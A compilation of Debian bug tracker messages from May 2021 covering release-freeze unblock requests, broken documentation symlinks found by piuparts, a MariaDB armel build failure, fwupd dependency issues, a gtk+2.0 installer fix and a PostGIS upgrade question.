Bug#988623: Acknowledgement (unblock: kodi-pvr-waipu/2.8.4+ds1-1)

[Sebastian Ramacher]

On 2021-05-18 08:54:10 +, Vasyl Gello wrote:
> This release fixes re-authentication not happening, and also removes login 
> credentials from Kodi log.

and also contained a bunch of non-targetted fixes. If you think these
two fixes are important, please cherry-pick them.

Cheers

> -- 
> Vasyl Gello
> ==
> Certified SolidWorks Expert
> 
> Mob.:+380 (98) 465 66 77
> 
> E-Mail: vasek.ge...@gmail.com
> 
> Skype: vasek.gello
> ==
> 호랑이는 죽어서 가죽을 남기고 사람은 죽어서 이름을 남긴다

-- 
Sebastian Ramacher


signature.asc
Description: PGP signature

Bug#988818: libhealpix-java-doc: broken symlinks: /usr/share/doc/libhealpix-java/api/jquery/jquery.min.*.br -> ../../../../javascript/jquery/jquery.min.*.br

[Andreas Beckmann]

Package: libhealpix-java-doc
Version: 3.60+ds-2
Severity: normal
User: debian...@lists.debian.org
Usertags: piuparts

Hi,

during a test with piuparts I noticed your package ships (or creates)
a broken symlink.

>From the attached log (scroll to the bottom...):

0m35.3s ERROR: FAIL: Broken symlinks:
  /usr/share/doc/libhealpix-java/api/jquery/jquery.min.js.br -> 
../../../../javascript/jquery/jquery.min.js.br (libhealpix-java-doc)
  /usr/share/doc/libhealpix-java/api/jquery/jquery.min.map.br -> 
../../../../javascript/jquery/jquery.min.map.br (libhealpix-java-doc)

Possible replacement targets are:

libjs-jquery: /usr/share/javascript/jquery/jquery.min.js.brotli
libjs-jquery: /usr/share/javascript/jquery/jquery.min.map.brotli


cheers,

Andreas


libhealpix-java-doc_3.60+ds-2.log.gz
Description: application/gzip

Bug#986623: ping

[Holger Levsen]

hi,

pinging the bug to prevent autoremoval, I plan to upload within the
next hours anyway, but still... who knows :)


-- 
cheers,
Holger

 ⢀⣴⠾⠻⢶⣦⠀
 ⣾⠁⢠⠒⠀⣿⡁  holger@(debian|reproducible-builds|layer-acht).org
 ⢿⡄⠘⠷⠚⠋⠀  OpenPGP: B8BF54137B09D35CF026FE9D 091AB856069AAA1C
 ⠈⠳⣄


signature.asc
Description: PGP signature

Bug#988809: resolvconf: error when attempting Wireguard connection. Unknown interface 'tun': No such device

[Andrej Shadura]

Hi,

On Wed, 19 May 2021, at 22:11, librelifer wrote:
> Attachments:
> * encrypted.asc

I don’t read encrypted private messages from unknown people. Please keep the 
discussion to the bug tracker.

-- 
Cheers,
  Andrej

Bug#988214: fixed in rails 2:6.0.3.7+dfsg-1

[Paul Gevers]

Hi,

On Sat, 15 May 2021 11:18:31 + Debian FTP Masters
 wrote:
>  rails (2:6.0.3.7+dfsg-1) unstable; urgency=high
>  .
>* Upload to unstable directly.
>* New upstream version 6.0.3.7+dfsg. (Closes: #988214)
>  - Prevent slow regex when parsing host authorization header.
>(Fixed: CVE-2021-22904)
>  - Prevent catastrophic backtracking during mime parsing.
>(Fixes: CVE-2021-22902)
>  - Prevent string polymorphic route arguments.
>(Fixes: CVE-2021-22885)

This new rails version renewed its versioned dependency on ruby-marcel.
The new ruby-marcel version doesn't look like a targeted fix, so it
doesn't fit the freeze policy. If I read the changelog correctly, this
dependency is there to give rails a more relaxed license. I think such a
change is not really needed at this stage of the freeze, does rails
still work with the old version of ruby-marcel and can the version bump
be reverted?

Paul



OpenPGP_signature
Description: OpenPGP digital signature

Bug#988817: fwupd: Recommends on nonexistent package secureboot-db

[Robbie Harwood (frozencemetery)]

Package: fwupd
Version: 1.5.7-3
Severity: minor
X-Debbugs-Cc: rharw...@club.cc.cmu.edu

Dear Maintainer,

fwupd currently has:

Recommends: python3, bolt, dbus, secureboot-db, udisks2, fwupd-signed

but there is no package called secureboot-db.

May you be well,
--Robbie

-- System Information:
Debian Release: 11.0
  APT prefers unstable-debug
  APT policy: (700, 'unstable-debug'), (700, 'testing-debug'), (700, 
'unstable'), (700, 'testing'), (300, 'experimental-debug'), (300, 
'experimental')
Architecture: amd64 (x86_64)

Kernel: Linux 5.10.0-6-rt-amd64 (SMP w/12 CPU threads; PREEMPT)
Kernel taint flags: TAINT_WARN
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages fwupd depends on:
ii  libc6  2.31-12
ii  libcurl3-gnutls7.74.0-1.2
ii  libefiboot137-6
ii  libelf10.183-3
ii  libflashrom1   1.2-5
ii  libfwupd2  1.5.7-4
ii  libfwupdplugin11.5.7-4
ii  libglib2.0-0   2.66.8-1
ii  libgnutls303.7.1-4
ii  libgudev-1.0-0 234-1
ii  libgusb2   0.3.5-1
ii  libjcat1   0.1.3-2
ii  libjson-glib-1.0-0 1.6.2-1
ii  libpolkit-gobject-1-0  0.105-30
ii  libsmbios-c2   2.4.3-1
ii  libsqlite3-0   3.34.1-3
ii  libsystemd0247.3-5
ii  libtss2-esys-3.0.2-0   3.0.3-2
ii  libxmlb1   0.1.15-2
ii  shared-mime-info   2.0-1

Versions of packages fwupd recommends:
ii  bolt   0.9.1-1
ii  dbus   1.12.20-2
ii  fwupd-amd64-signed [fwupd-signed]  1.5.7+3
ii  python33.9.2-3
pn  secureboot-db  
ii  udisks22.9.2-2

Versions of packages fwupd suggests:
pn  gir1.2-fwupd-2.0  

-- no debconf information

Bug#988809: resolvconf: error when attempting Wireguard connection. Unknown interface 'tun': No such device

[Andrej Shadura]

Control: tag -1 moreinfo

Hi,

On Wed, 19 May 2021, at 21:30, ad wrote:
>* What led up to the situation? executing wireguard command wg-quick 
> up [server]
>* What exactly did you do (or not do) that was effective (or
>  ineffective)? The problem was resolved by modifying the .conf file 
> to comment out the DNS field
>* What was the outcome of this action? The connection attempt was 
> successful
>* What outcome did you expect instead? 

I don’t understand what’s the error, what did you do or how did it go away, 
could you please provide more details?

Thanks!

-- 
Cheers,
  Andrej

Bug#988816: fwupd: cannot install with fwupd-amd64-signed

[Robbie Harwood (frozencemetery)]

Package: fwupd
Version: 1.5.7-3
Severity: normal
X-Debbugs-Cc: rharw...@club.cc.cmu.edu

Dear Maintainer,

It's not currently possible to update to fwupd-1.5.7-3:

fwupd-amd64-signed : Depends: fwupd (= 1.5.7-3) but 1.5.7-4 is to be 
installed

>From the outside it looks like these two need to be updated in lockstep.
There already is a corresponding bug on fwupd-amd64-signed (#973715), but it
has been several days without any activity there.

May you be well,
--Robbie

-- System Information:
Debian Release: 11.0
  APT prefers unstable-debug
  APT policy: (700, 'unstable-debug'), (700, 'testing-debug'), (700, 
'unstable'), (700, 'testing'), (300, 'experimental-debug'), (300, 
'experimental')
Architecture: amd64 (x86_64)

Kernel: Linux 5.10.0-6-rt-amd64 (SMP w/12 CPU threads; PREEMPT)
Kernel taint flags: TAINT_WARN
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages fwupd depends on:
ii  libc6  2.31-12
ii  libcurl3-gnutls7.74.0-1.2
ii  libefiboot137-6
ii  libelf10.183-3
ii  libflashrom1   1.2-5
ii  libfwupd2  1.5.7-4
ii  libfwupdplugin11.5.7-4
ii  libglib2.0-0   2.66.8-1
ii  libgnutls303.7.1-4
ii  libgudev-1.0-0 234-1
ii  libgusb2   0.3.5-1
ii  libjcat1   0.1.3-2
ii  libjson-glib-1.0-0 1.6.2-1
ii  libpolkit-gobject-1-0  0.105-30
ii  libsmbios-c2   2.4.3-1
ii  libsqlite3-0   3.34.1-3
ii  libsystemd0247.3-5
ii  libtss2-esys-3.0.2-0   3.0.3-2
ii  libxmlb1   0.1.15-2
ii  shared-mime-info   2.0-1

Versions of packages fwupd recommends:
ii  bolt   0.9.1-1
ii  dbus   1.12.20-2
ii  fwupd-amd64-signed [fwupd-signed]  1.5.7+3
ii  python33.9.2-3
pn  secureboot-db  
ii  udisks22.9.2-2

Versions of packages fwupd suggests:
pn  gir1.2-fwupd-2.0  

-- no debconf information

Bug#988629: mariadb-10.5: FTBFS on armel: selected processor does not support `isb' in ARM mode

[Otto Kekäläinen]

Status:  Vicențiu is debugging this but has challenges replicating armhf
build

ke 19. toukok. 2021 klo 12.39 Sebastian Ramacher 
kirjoitti:

> Control: severity -1 serious
>
> On 2021-05-16 21:26:48 -0700, Otto Kekäläinen wrote:
> > Source: mariadb-10.5
> > Version: 1:10.5.10-1
> > Tags: confirmed, help, ftbfs
> > Severity: important
> > Justification: armel is an official Debian architecture, regression
> > must be fixed ASAP
> > User: debian-...@lists.debian.org
> > Usertags: armel, arm
> >
> > After uploading MariaDB 10.5.10 to Debian I noticed the armel build
> regressed:
> > https://buildd.debian.org/status/package.php?p=mariadb-10.5
> >
> > *
> > Full log:
> https://buildd.debian.org/status/fetch.php?pkg=mariadb-10.5=armel=1%3A10.5.10-1=1621221941=0
> > *
> > [ 14%] Built target todo-t
> > [ 14%] Building CXX object
> wsrep-lib/src/CMakeFiles/wsrep-lib.dir/logger.cpp.o
> > cd /<>/builddir/wsrep-lib/src && /usr/bin/c++ -DNDEBUG
> > -I/<>/wsrep-lib/include
> > -I/<>/wsrep-lib/wsrep-API/v26
> > -I/<>/wsrep-lib/wsrep-API -g -O2
> > -ffile-prefix-map=/<>=. -fstack-protector-strong -Wformat
> > -Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 -Wdate-time
> > -D_FORTIFY_SOURCE=2 -pie -fPIC -fstack-protector
> > --param=ssp-buffer-size=4 -Wall -Wextra -Woverloaded-virtual
> > -Wconversion -g -Wsuggest-override -O2 -g -static-libgcc
> > -fno-omit-frame-pointer -fno-strict-aliasing -Wno-uninitialized
> > -fno-omit-frame-pointer -D_FORTIFY_SOURCE=2   -Wdate-time
> > -D_FORTIFY_SOURCE=2 -std=gnu++11 -o
> > CMakeFiles/wsrep-lib.dir/logger.cpp.o -c
> > /<>/wsrep-lib/src/logger.cpp
> > /usr/bin/make  -f
> > unittest/examples/CMakeFiles/no_plan-t.dir/build.make
> > unittest/examples/CMakeFiles/no_plan-t.dir/depend
> > make[4]: Entering directory '/<>/builddir'
> > cd /<>/builddir && /usr/bin/cmake -E cmake_depends "Unix
> > Makefiles" /<> /<>/unittest/examples
> > /<>/builddir /<>/builddir/unittest/examples
> >
> /<>/builddir/unittest/examples/CMakeFiles/no_plan-t.dir/DependInfo.cmake
> > --color=
> > Dependee
> "/<>/builddir/unittest/examples/CMakeFiles/no_plan-t.dir/DependInfo.cmake"
> > is newer than depender
> >
> "/<>/builddir/unittest/examples/CMakeFiles/no_plan-t.dir/depend.internal".
> > Dependee
> "/<>/builddir/unittest/examples/CMakeFiles/CMakeDirectoryInformation.cmake"
> > is newer than depender
> >
> "/<>/builddir/unittest/examples/CMakeFiles/no_plan-t.dir/depend.internal".
> > Scanning dependencies of target no_plan-t
> > make[4]: Leaving directory '/<>/builddir'
> > /usr/bin/make  -f
> > unittest/examples/CMakeFiles/no_plan-t.dir/build.make
> > unittest/examples/CMakeFiles/no_plan-t.dir/build
> > make[4]: Entering directory '/<>/builddir'
> > [ 14%] Building C object
> > unittest/examples/CMakeFiles/no_plan-t.dir/no_plan-t.c.o
> > cd /<>/builddir/unittest/examples && /usr/bin/cc
> > -DDBUG_TRACE -DHAVE_CONFIG_H -D_FILE_OFFSET_BITS=64
> > -I/<>/wsrep-lib/include
> > -I/<>/wsrep-lib/wsrep-API/v26
> > -I/<>/builddir/include -I/<>/include
> > -I/<>/unittest/mytap -g -O2
> > -ffile-prefix-map=/<>=. -fstack-protector-strong -Wformat
> > -Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 -Wdate-time
> > -D_FORTIFY_SOURCE=2 -pie -fPIC -fstack-protector
> > --param=ssp-buffer-size=4 -O2 -g -static-libgcc
> > -fno-omit-frame-pointer -fno-strict-aliasing  -Wno-uninitialized
> > -fno-omit-frame-pointer -D_FORTIFY_SOURCE=2 -DDBUG_OFF -Wall
> > -Wdeclaration-after-statement -Wextra -Wformat-security
> > -Wno-format-truncation -Wno-init-self -Wno-nonnull-compare
> > -Wno-unused-parameter -Wvla -Wwrite-strings   -Wdate-time
> > -D_FORTIFY_SOURCE=2 -o CMakeFiles/no_plan-t.dir/no_plan-t.c.o -c
> > /<>/unittest/examples/no_plan-t.c
> > /tmp/cc3B6r4f.s: Assembler messages:
> > /tmp/cc3B6r4f.s:312: Error: selected processor does not support `isb'
> > in ARM mode
> > /tmp/cc3B6r4f.s:1487: Error: selected processor does not support `isb'
> > in ARM mode
> > make[4]: *** [mysys/CMakeFiles/mysys.dir/build.make:1255:
> > mysys/CMakeFiles/mysys.dir/lf_alloc-pin.c.o] Error 1
> > make[4]: Leaving directory '/<>/builddir'
> > make[3]: *** [CMakeFiles/Makefile2:9892: mysys/CMakeFiles/mysys.dir/all]
> Error 2
> > *
>
> Raising the severity to serious since this issue is making mariadb-10.5
> fail to migrate.
>
> Cheers
> --
> Sebastian Ramacher
>

Bug#988815: libij-java-doc: broken symlink: /usr/share/doc/libij-java/api/jquery/jquery-ui.min.js -> ../../../../javascript/jquery/jquery-ui.min.js

[Andreas Beckmann]

Package: libij-java-doc
Version: 1.53g-2
Severity: normal
User: debian...@lists.debian.org
Usertags: piuparts

Hi,

during a test with piuparts I noticed your package ships (or creates)
a broken symlink.

>From the attached log (scroll to the bottom...):

0m39.8s ERROR: FAIL: Broken symlinks:
  /usr/share/doc/libij-java/api/jquery/jquery-ui.min.js -> 
../../../../javascript/jquery/jquery-ui.min.js (libij-java-doc)


The correct target would be .../javascript/jquery-ui/jquery-ui.min.js 
 ^^^


cheers,

Andreas


libij-java-doc_1.53g-2.log.gz
Description: application/gzip

Bug#988083: unblock: micro-evtd/3.4-6

[Paul Gevers]

Control: tags -1 moreinfo

Hi Ryan,

On 06-05-2021 07:33, Ryan Tandy wrote:
> #988119: the daemon creates its pid and status files with mode 666,
> start-stop-daemon doesn't like that and refuses to stop the daemon.
> 
> I don't know what the appropriate severity is for that one. If it's RC I
> can make another upload to fix it.

I suggest a new upload to fix that issue. But if it's no regression,
maybe we can have the current version migrate first.

Paul



OpenPGP_signature
Description: OpenPGP digital signature

Bug#988814: unblock: gtk+2.0/2.24.33-2

[Simon McVittie]

Package: release.debian.org
Severity: normal
User: release.debian@packages.debian.org
Usertags: unblock
X-Debbugs-Cc: debian-gtk-gn...@lists.debian.org, debian-b...@lists.debian.org

Please unblock package gtk+2.0

[ Reason ]
Fix the graphical installer

[ Impact ]
* For the patch:
  If not applied, several scenarios cause the graphical installer to
  busy-loop and get stuck, unless we fix that some other way (such as
  a patch I have proposed for cdebconf). This creates a bad impression
  for new users and is clearly RC.

* For the changes in d/control{,.in}:
  If not applied, users who already have gnome-icon-theme installed could
  accidentally install GTK 2 apps without also installing librsvg2-common,
  and then complain that SVG icons don't work (on most systems it gets
  pulled in by adwaita-icon-theme but it's technically possible to not
  install that).

  Note that it's a Recommends and not a Depends, primarily to be nice
  to -ports architectures that lack Rust, secondarily to be nice to
  special-purpose minimal installations. Ordinary desktops that have GTK
  should definitely install this.

[ Tests ]
Cyril Brulebois, Philip Hands and I have tested the installer in a
few scenarios that previously got stuck, with an earlier build of
this package. This patched GTK fixes them, while printing warnings;
the UI looks reasonable.

A brief smoke-test of the final .deb with GIMP and Inkscape was also
successful.

strings /usr/lib/x86_64-linux-gnu/libgtk-x11-2.0.so indicates that the
hack for d-i has not affected the .deb's library.

There are also autopkgtests, which pass.

[ Risks ]
The patch is #ifdef DEBIAN_INSTALLER so it can't affect the installed
system, only the graphical installer (which is already considered
unreleasable due to the bug we're addressing here, so this isn't going
to make it worse). There is a risk that it might cut off the last few
pixels on the right side of a paragraph, or make the last few pixels
overlap the next widget to the right (or left in RTL languages), but
that seems a lot better than the status quo, and in practice it doesn't
actually happen for reasons I don't intend to bore you with.

The changes in d/control{,.in} just upgrade a Suggests to a Recommends,
mirroring similar changes in GTK 3. It was a transitive Recommends
already, via adwaita-icon-theme. Low risk, and easy to revert in the
unlikely event that it's a problem.

[ Checklist ]
  [x] all changes are documented in the d/changelog
  [x] I reviewed all changes and I approve them
  [x] attach debdiff against the package in testing

[ Other info ]
Given the impact of the d-i issue, I think it's safest to address it
in cdebconf (Cyril will probably handle that upload) *and* address it here.

unblock gtk+2.0/2.24.33-2
diffstat for gtk+2.0-2.24.33 gtk+2.0-2.24.33

 changelog   |   22 +
 control |4 -
 control.in  |4 -
 patches/d-i/textlayout-Clamp-width-to-the-value-we-asked-for-as-a-hac.patch |   39 ++
 patches/series  |1 
 rules   |1 
 6 files changed, 67 insertions(+), 4 deletions(-)

diff -Nru gtk+2.0-2.24.33/debian/changelog gtk+2.0-2.24.33/debian/changelog
--- gtk+2.0-2.24.33/debian/changelog	2020-12-28 16:50:40.0 +
+++ gtk+2.0-2.24.33/debian/changelog	2021-05-19 17:13:33.0 +0100
@@ -1,3 +1,25 @@
+gtk+2.0 (2.24.33-2) unstable; urgency=medium
+
+  * Team upload
+  * d/rules: Build udeb with extra CPPFLAGS.
+This allows adding special-case code for debian-installer where
+necessary.
+  * udeb: Clamp text layout width to no more than was requested.
+This works around a relayout loop that makes the Debian installer hang.
+To minimize the effect on installed systems, this is
+#ifdef DEBIAN_INSTALLER; we currently have no evidence of similar
+relayout loops outside the d-i environment. (Closes: #988786)
+  * Increase dependency on librsvg2-common from Suggests to Recommends.
+This is not a hard dependency, but should be installed in nearly all
+cases. Increasingly many icons are provided in SVG format, so
+applications will appear broken if the SVG pixbuf loader is not
+installed. See #980396 for more information.
+adwaita-icon-theme already Recommends librsvg2-common, but people who
+routinely do not install recommended packages will get a better hint
+about how much will be broken by its removal if GTK also recommends it.
+
+ -- Simon McVittie   Wed, 19 May 2021 17:13:33 +0100
+
 gtk+2.0 (2.24.33-1) unstable; urgency=medium
 
   * Team upload
diff -Nru gtk+2.0-2.24.33/debian/control gtk+2.0-2.24.33/debian/control
--- gtk+2.0-2.24.33/debian/control	2020-12-28 16:50:40.0 +
+++ 

Bug#988813: libjackson2-dataformat-xml-java-doc: broken symlinks: /usr/share/doc/libjackson2-core-java/api/*/jquery/jquery*.js

[Andreas Beckmann]

Package: libjackson2-dataformat-xml-java-doc
Version: 2.12.1-1
Severity: normal
User: debian...@lists.debian.org
Usertags: piuparts

Hi,

during a test with piuparts I noticed your package ships (or creates)
a broken symlink.

>From the attached log (scroll to the bottom...):

0m43.3s ERROR: FAIL: Broken symlinks:
  /usr/share/doc/libjackson2-core-java/api/jquery/external/jquery/jquery.js -> 
../../../../../../javascript/jquery (libjackson2-core-java-doc)
  /usr/share/doc/libjackson2-core-java/api/jquery/jquery-3.5.1.js -> 
../../../../javascript/jquery (libjackson2-core-java-doc)
  /usr/share/doc/libjackson2-core-java/api/jquery/jquery-ui.css -> 
../../../../javascript/jquery-ui/themes/base/jquery-ui.css 
(libjackson2-core-java-doc)
  /usr/share/doc/libjackson2-core-java/api/jquery/jquery-ui.js -> 
../../../../javascript/jquery-ui/jquery-ui.js (libjackson2-core-java-doc)
  /usr/share/doc/libjackson2-core-java/api/jquery/jquery-ui.min.css -> 
../../../../javascript/jquery-ui/themes/base/jquery-ui.min.css 
(libjackson2-core-java-doc)
  /usr/share/doc/libjackson2-core-java/api/jquery/jquery-ui.min.js -> 
../../../../javascript/jquery-ui/jquery-ui.min.js (libjackson2-core-java-doc)

You might start with using the substvars provided by maven:

dpkg-gencontrol: warning: package libjackson2-dataformat-xml-java: substitution 
variable ${maven:CompileDepends} unused, but is defined
dpkg-gencontrol: warning: package libjackson2-dataformat-xml-java: substitution 
variable ${maven:DocDepends} unused, but is defined
dpkg-gencontrol: warning: package libjackson2-dataformat-xml-java-doc: 
substitution variable ${maven:CompileDepends} unused, but is defined
dpkg-gencontrol: warning: package libjackson2-dataformat-xml-java-doc: 
substitution variable ${maven:Depends} unused, but is defined


cheers,

Andreas


libjackson2-dataformat-xml-java-doc_2.12.1-1.log.gz
Description: application/gzip

Bug#988020: libgee-0.8 FTBFS: error: too many type arguments for `Gee.Future.SourceFuncArrayElement'

[Paul Gevers]

Hi,

On Mon, 03 May 2021 22:28:19 +0300 Adrian Bunk  wrote:
> Source: libgee-0.8
> Version: 0.20.3-1
> Severity: serious
> Tags: ftbfs
> Control: close -1 0.20.4-1
> 
> https://tests.reproducible-builds.org/debian/rb-pkg/bullseye/amd64/libgee-0.8.html

Ideally we'd like to have this fix in bullseye, but the current version
sitting in sid which fixes this issue is not reviewable:

 162 files changed, 18868 insertions(+), 25399 deletions(-)

However, regardless I had a quick look and it seems there are quite some
generated files that change. Is it feasible for somebody to judge the
changes and maybe filter the diff and report back via an unblock request?

Paul



OpenPGP_signature
Description: OpenPGP digital signature

Bug#988812: libjs-pdf: several broken symlinks

[Andreas Beckmann]

Package: libjs-pdf
Version: 2.6.347+dfsg-3
Severity: normal
User: debian...@lists.debian.org
Usertags: piuparts

Hi,

during a test with piuparts I noticed your package ships (or creates)
a broken symlink.

>From the attached log (scroll to the bottom...):

  /usr/share/doc/libjs-pdf/examples/text-selection/js/jquery.min.js -> 
../../../../../javascript/jquery/jquery.min.js (libjs-pdf)
  /usr/share/javascript/pdf/web/compatibility.js -> 
../../../pdf.js/compatibility.js (libjs-pdf)
  /usr/share/nodejs/pdfjs-dist/web/pdf_viewer.css -> 
../../../javascript/pdf/web/pdf_viewer.css (libjs-pdf)
  /usr/share/nodejs/pdfjs-dist/web/pdf_viewer.js -> 
../../../javascript/pdf/web/pdf_viewer.js (libjs-pdf)
  /usr/share/nodejs/pdfjs-dist/web/pdf_viewer.js.map -> 
../../../javascript/pdf/web/pdf_viewer.js.map (libjs-pdf)


cheers,

Andreas


libjs-pdf_2.6.347+dfsg-3.log.gz
Description: application/gzip

Bug#988629: mariadb-10.5: FTBFS on armel: selected processor does not support `isb' in ARM mode

[Sebastian Ramacher]

Control: severity -1 serious

On 2021-05-16 21:26:48 -0700, Otto Kekäläinen wrote:
> Source: mariadb-10.5
> Version: 1:10.5.10-1
> Tags: confirmed, help, ftbfs
> Severity: important
> Justification: armel is an official Debian architecture, regression
> must be fixed ASAP
> User: debian-...@lists.debian.org
> Usertags: armel, arm
> 
> After uploading MariaDB 10.5.10 to Debian I noticed the armel build regressed:
> https://buildd.debian.org/status/package.php?p=mariadb-10.5
> 
> *
> Full log: 
> https://buildd.debian.org/status/fetch.php?pkg=mariadb-10.5=armel=1%3A10.5.10-1=1621221941=0
> *
> [ 14%] Built target todo-t
> [ 14%] Building CXX object wsrep-lib/src/CMakeFiles/wsrep-lib.dir/logger.cpp.o
> cd /<>/builddir/wsrep-lib/src && /usr/bin/c++ -DNDEBUG
> -I/<>/wsrep-lib/include
> -I/<>/wsrep-lib/wsrep-API/v26
> -I/<>/wsrep-lib/wsrep-API -g -O2
> -ffile-prefix-map=/<>=. -fstack-protector-strong -Wformat
> -Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 -Wdate-time
> -D_FORTIFY_SOURCE=2 -pie -fPIC -fstack-protector
> --param=ssp-buffer-size=4 -Wall -Wextra -Woverloaded-virtual
> -Wconversion -g -Wsuggest-override -O2 -g -static-libgcc
> -fno-omit-frame-pointer -fno-strict-aliasing -Wno-uninitialized
> -fno-omit-frame-pointer -D_FORTIFY_SOURCE=2   -Wdate-time
> -D_FORTIFY_SOURCE=2 -std=gnu++11 -o
> CMakeFiles/wsrep-lib.dir/logger.cpp.o -c
> /<>/wsrep-lib/src/logger.cpp
> /usr/bin/make  -f
> unittest/examples/CMakeFiles/no_plan-t.dir/build.make
> unittest/examples/CMakeFiles/no_plan-t.dir/depend
> make[4]: Entering directory '/<>/builddir'
> cd /<>/builddir && /usr/bin/cmake -E cmake_depends "Unix
> Makefiles" /<> /<>/unittest/examples
> /<>/builddir /<>/builddir/unittest/examples
> /<>/builddir/unittest/examples/CMakeFiles/no_plan-t.dir/DependInfo.cmake
> --color=
> Dependee 
> "/<>/builddir/unittest/examples/CMakeFiles/no_plan-t.dir/DependInfo.cmake"
> is newer than depender
> "/<>/builddir/unittest/examples/CMakeFiles/no_plan-t.dir/depend.internal".
> Dependee 
> "/<>/builddir/unittest/examples/CMakeFiles/CMakeDirectoryInformation.cmake"
> is newer than depender
> "/<>/builddir/unittest/examples/CMakeFiles/no_plan-t.dir/depend.internal".
> Scanning dependencies of target no_plan-t
> make[4]: Leaving directory '/<>/builddir'
> /usr/bin/make  -f
> unittest/examples/CMakeFiles/no_plan-t.dir/build.make
> unittest/examples/CMakeFiles/no_plan-t.dir/build
> make[4]: Entering directory '/<>/builddir'
> [ 14%] Building C object
> unittest/examples/CMakeFiles/no_plan-t.dir/no_plan-t.c.o
> cd /<>/builddir/unittest/examples && /usr/bin/cc
> -DDBUG_TRACE -DHAVE_CONFIG_H -D_FILE_OFFSET_BITS=64
> -I/<>/wsrep-lib/include
> -I/<>/wsrep-lib/wsrep-API/v26
> -I/<>/builddir/include -I/<>/include
> -I/<>/unittest/mytap -g -O2
> -ffile-prefix-map=/<>=. -fstack-protector-strong -Wformat
> -Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 -Wdate-time
> -D_FORTIFY_SOURCE=2 -pie -fPIC -fstack-protector
> --param=ssp-buffer-size=4 -O2 -g -static-libgcc
> -fno-omit-frame-pointer -fno-strict-aliasing  -Wno-uninitialized
> -fno-omit-frame-pointer -D_FORTIFY_SOURCE=2 -DDBUG_OFF -Wall
> -Wdeclaration-after-statement -Wextra -Wformat-security
> -Wno-format-truncation -Wno-init-self -Wno-nonnull-compare
> -Wno-unused-parameter -Wvla -Wwrite-strings   -Wdate-time
> -D_FORTIFY_SOURCE=2 -o CMakeFiles/no_plan-t.dir/no_plan-t.c.o -c
> /<>/unittest/examples/no_plan-t.c
> /tmp/cc3B6r4f.s: Assembler messages:
> /tmp/cc3B6r4f.s:312: Error: selected processor does not support `isb'
> in ARM mode
> /tmp/cc3B6r4f.s:1487: Error: selected processor does not support `isb'
> in ARM mode
> make[4]: *** [mysys/CMakeFiles/mysys.dir/build.make:1255:
> mysys/CMakeFiles/mysys.dir/lf_alloc-pin.c.o] Error 1
> make[4]: Leaving directory '/<>/builddir'
> make[3]: *** [CMakeFiles/Makefile2:9892: mysys/CMakeFiles/mysys.dir/all] 
> Error 2
> *

Raising the severity to serious since this issue is making mariadb-10.5
fail to migrate.

Cheers
-- 
Sebastian Ramacher


signature.asc
Description: PGP signature

Bug#988811: libmpdec-doc: broken symlinks: /usr/share/doc/libmpdec-doc/libmpdec/_static/*.js

[Andreas Beckmann]

Package: libmpdec-doc
Version: 2.5.1-1
Severity: normal
User: debian...@lists.debian.org
Usertags: piuparts

Hi,

during a test with piuparts I noticed your package ships (or creates)
a broken symlink.

>From the attached log (scroll to the bottom...):

5m17.8s ERROR: FAIL: Broken symlinks:
  /usr/share/doc/libmpdec-doc/libmpdec/_static/doctools.js -> 
../../../../javascript/sphinxdoc/1.0/doctools.js (libmpdec-doc)
  /usr/share/doc/libmpdec-doc/libmpdec/_static/jquery.js -> 
../../../../javascript/sphinxdoc/1.0/jquery.js (libmpdec-doc)
  /usr/share/doc/libmpdec-doc/libmpdec/_static/searchtools.js -> 
../../../../javascript/sphinxdoc/1.0/searchtools.js (libmpdec-doc)
  /usr/share/doc/libmpdec-doc/libmpdec/_static/sidebar.js -> 
../../../../javascript/sphinxdoc/1.0/sidebar.js (libmpdec-doc)
  /usr/share/doc/libmpdec-doc/libmpdec/_static/underscore.js -> 
../../../../javascript/sphinxdoc/1.0/underscore.js (libmpdec-doc)

You can probably just use the substvars provided by sphinxdoc:

dpkg-gencontrol: warning: package libmpdec-doc: substitution variable 
${sphinxdoc:Built-Using} unused, but is defined
dpkg-gencontrol: warning: package libmpdec-doc: substitution variable 
${sphinxdoc:Depends} unused, but is defined


cheers,

Andreas


libmpdec-doc_2.5.1-1.log.gz
Description: application/gzip

Bug#988810: libopenmpt-doc: broken symlink: /usr/share/doc/libopenmpt-doc/html/jquery.js -> ../../../javascript/jquery/jquery.js

[Andreas Beckmann]

Package: libopenmpt-doc
Version: 0.4.11-1
Severity: normal
User: debian...@lists.debian.org
Usertags: piuparts

Hi,

during a test with piuparts I noticed your package ships (or creates)
a broken symlink.

>From the attached log (scroll to the bottom...):

0m37.8s ERROR: FAIL: Broken symlinks:
  /usr/share/doc/libopenmpt-doc/html/jquery.js -> 
../../../javascript/jquery/jquery.js (libopenmpt-doc)

Is libopenmpt-doc missing a dependency on libjs-jquery ?


cheers,

Andreas


libopenmpt-doc_0.4.11-1.log.gz
Description: application/gzip

Bug#986975: libgdal28: please add Breaks: libgdal20

[Dennis Filder]

X-Debbugs-CC: d.fil...@web.de

On Wed, May 19, 2021 at 06:49:10PM +0200, Sebastiaan Couwenberg wrote:

> PostGIS databases have never been able to be migrated during a
> distribution upgrade. You've always needed to recreate the databases in
> the new cluster.

/usr/share/doc/postgresql-common/README.md.gz talks about how
postgresql under Debian strives for co-installability of old and new
versions so that you can migrate your databases /after/ upgrading
Debian.  As it stands now you are only able to dump the postgis
databases while you're still on Buster.  After the upgrade to Bullseye
you won't be able to dump them anymore since postgresql-11-postgis-2.5
will be removed.  The error message I get when trying to dump a
database from the old 11 cluster is:

  pg_dump: error: query failed: ERROR:  could not access file 
"$libdir/postgis-2.5": No such file or directory

Is that fact communicated somewhere?  Or are postgis users just
expected to know this?  I ask because I didn't know this, despite
doing quite a bit of reading in preparation for the upgrade.  None of
the postgresql-*-postgis-* packages have a README.Debian that could
mention that unlike with vanilla postgres DBs pre-distupgrade DB dumps
are necessary for postgis-enabled ones.  Consequently I assumed I'd be
able to do the migration after the upgrade to Bullseye since apt
showed me that the postgresql-11-* packages were left installed as
holdovers.

